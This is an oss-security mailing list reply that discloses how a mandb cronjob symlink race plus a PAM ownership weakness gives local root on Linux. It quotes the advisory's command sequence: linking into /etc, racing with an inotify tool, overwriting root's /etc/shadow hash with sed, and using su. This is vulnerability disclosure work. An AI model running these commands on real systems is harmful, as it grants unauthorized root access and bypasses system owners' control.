Date: Tue, 15 Dec 2015 19:25:30 +0000 From: halfdog <me@...fdog.net> To: oss-security@...ts.openwall.com, des@....no Subject: Re: User man Local Root Exploit/Linux Kernel setgid Directory Privilege Escalation/PAM Owner Check Weakness -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Dag-Erling Smørgrav wrote: > halfdog <me@...fdog.net> writes: >> Dag-Erling Smørgrav <des@....no> writes: >>> And the PAM issue? >> That's the most questionable. > > Hard to tell, since you didn't provide any information about it. > You mentioned three issues, but linked to only two advisories, > neither of which mentions PAM. I was referring to this from , but perhaps I should have highlighted it more prominently: Using Timerace Using Inotify: As the mandb cronjob will change ownership of any file to user man, there are numerous targets for privilege escalation. The one I like best when /bin/su SUID binary available is to change /etc/shadow. PAM just does not recognise this state, so only root password has to be cleared for su logon. For that purpose, the good old inotify-tool DirModifyInotify-20110530.c from a previous article. To escalate following steps are sufficient: man# mkdir -p /var/cache/man/etc man# ln /var/crash/.lock /var/cache/man/etc/shadow man# ./DirModifyInotify --Watch /var/cache/man/etc --WatchCount 0 - --MovePath /var/cache/man/etc --LinkTarget /etc ... Wait till daily cronjob was run man# cp /etc/shadow . man# sed -r -e 's/^root:.*/root:$1$kKBXcycA$w.1NUJ77AuKcSYYrjLn9s1:15462:0:99999:7:::/' /etc/shadow > x man# cat x > /etc/shadow; rm x man# su -s /bin/sh (password is 123) root# cat shadow > /etc/shadow; chown root /etc/shadow  http://www.halfdog.net/Security/2015/MandbSymlinkLocalRootPrivilegeEscalation/ - -- http://www.halfdog.net/ PGP: 156A AE98 B91F 0114 FE88 2BD8 C459 9386 feed a bee -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iEYEARECAAYFAlZwaSQACgkQxFmThv7tq+60RACfbNp7aKX+dAn9NhCbqP1m/O0g iAQAnAqjS/ujumwfQV7K4AYTQ326QoZj =zuRK -----END PGP SIGNATURE-----
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